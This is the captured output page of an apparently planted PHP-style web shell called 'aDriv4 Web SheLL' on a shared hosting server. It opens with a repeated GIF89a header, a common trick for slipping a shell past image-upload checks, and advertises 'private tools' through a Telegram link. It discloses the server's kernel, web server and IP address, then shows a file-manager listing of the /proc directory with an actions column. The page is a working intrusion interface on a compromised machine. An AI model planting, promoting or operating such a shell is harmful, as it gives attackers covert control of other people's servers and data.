GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux premium30.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
 LiteSpeed
 198.54.116.22
Name Type Size Owner/Group Permission Last Modified Actions
. dir - root/root 0555 2025-09-25 11:25:58
.. dir - root/root 0755 2025-08-05 05:31:36
2896305 dir - makefntq/makefntq 0555 2026-01-15 07:15:27
2927201 dir - makefntq/makefntq 0555 2026-01-15 07:15:27
2937273 dir - makefntq/makefntq 0555 2026-01-15 07:12:32
2939085 dir - makefntq/makefntq 0555 2026-01-15 07:13:08
2940903 dir - makefntq/makefntq 0555 2026-01-15 07:13:52
2940910 dir - makefntq/makefntq 0555 2026-01-15 07:13:52
2942473 dir - makefntq/makefntq 0555 2026-01-15 07:14:25
2948181 dir - makefntq/makefntq 0555 2026-01-15 07:15:08
2948280 dir - makefntq/makefntq 0555 2026-01-15 07:15:08
2949274 dir - makefntq/makefntq 0555 2026-01-15 07:15:16
2949295 dir - makefntq/makefntq 0555 2026-01-15 07:15:16
4173712 dir - makefntq/makefntq 0555 2026-01-15 07:11:05
4179830 dir - makefntq/makefntq 0555 2026-01-15 07:11:05
acpi dir - root/root 0555 2025-09-25 11:26:02
bus dir - root/root 0555 2025-09-25 11:26:18
driver dir - root/root 0555 2026-01-15 07:15:28
fs dir - root/root 0555 2025-09-25 11:26:18
irq dir - root/root 0555 2025-09-25 11:26:18
kcare dir - root/root 0555 2026-01-15 07:15:28
lve dir - root/root 0555 2026-01-15 07:15:28
net link - makefntq/makefntq 0555 2026-01-15 07:15:28
scsi dir - root/root 0555 2025-09-25 11:26:18
self link - makefntq/makefntq 0555 2026-01-15 07:15:27
sys dir - root/root 0555 2025-09-25 11:25:59
sysvipc dir - root/root 0555 2026-01-15 07:15:28
thread-self link - makefntq/makefntq 0555 2026-01-15 07:15:27
tty dir - root/root 0555 2026-01-15 07:15:28
buddyinfo 0 B root/root 0444 2026-01-15 07:15:28
cgroups 0 B root/root 0444 2026-01-15 07:15:28
cmdline text/plain 0 B root/root 0444 2026-01-15 07:15:28
consoles 0 B root/root 0444 2026-01-15 07:15:28
cpuinfo text/plain 0 B root/root 0444 2026-01-15 07:15:28
crypto 0 B root/root 0444 2026-01-15 07:15:28
devices 0 B root/root 0444 2026-01-15 07:15:28
diskstats 0 B root/root 0444 2026-01-15 07:15:28
dma 0 B root/root 0444 2026-01-15 07:15:28
execdomains 0 B root/root 0444 2026-01-15 07:15:28
fb 0 B root/root 0444 2026-01-15 07:15:28
filesystems text/plain 0 B root/root 0444 2026-01-15 07:15:27
interrupts 0 B root/root 0444 2026-01-15 07:15:28
iomem 0 B root/root 0444 2026-01-15 07:15:28
ioports 0 B root/root 0444 2026-01-15 07:15:28
kallsyms 0 B root/root 0444 2025-09-25 11:26:18
kcore 128 TB root/root 0400 2025-09-25 11:26:02
key-users 0 B root/root 0444 2026-01-15 07:15:28
keys 0 B root/root 0444 2026-01-15 07:15:28
kmsg 0 B root/root 0400 2026-01-15 07:15:28
kpagecgroup 0 B root/root 0400 2026-01-15 07:15:28
kpagecount 0 B root/root 0400 2026-01-15 07:15:28
kpageflags 0 B root/root 0400 2026-01-15 07:15:28
loadavg text/plain 0 B root/root 0444 2026-01-15 07:15:28
locks 0 B root/root 0444 2026-01-15 07:15:28
mdstat 0 B root/root 0444 2026-01-15 07:15:28
meminfo text/plain 0 B root/root 0444 2026-01-15 07:15:27
misc 0 B root/root 0444 2026-01-15 07:15:28
modules 0 B root/root 0444 2026-01-15 07:15:28
mounts text/plain 0 B makefntq/makefntq 0444 2026-01-15 07:15:28
mtrr 0 B root/root 0644 2025-09-25 11:26:18
pagetypeinfo 0 B root/root 0400 2026-01-15 07:15:28
partitions 0 B root/root 0444 2026-01-15 07:15:28
sched_debug 0 B root/root 0444 2026-01-15 07:15:28
schedstat 0 B root/root 0444 2026-01-15 07:15:28
slabinfo 0 B root/root 0400 2026-01-15 07:15:28
softirqs 0 B root/root 0444 2026-01-15 07:15:28
stat text/plain 0 B root/root 0444 2026-01-15 07:15:27
swaps 0 B root/root 0444 2025-09-25 11:25:59
sysrq-trigger 0 B root/root 0200 2025-09-25 11:26:18
timer_list 0 B root/root 0400 2026-01-15 07:15:28
uptime text/plain 0 B root/root 0444 2026-01-15 07:15:27
version text/plain 0 B root/root 0444 2026-01-15 07:15:28
vmallocinfo 0 B root/root 0400 2026-01-15 07:15:28
vmstat 0 B root/root 0444 2026-01-15 07:15:28
zoneinfo 0 B root/root 0444 2026-01-15 07:15:28
© aDriv4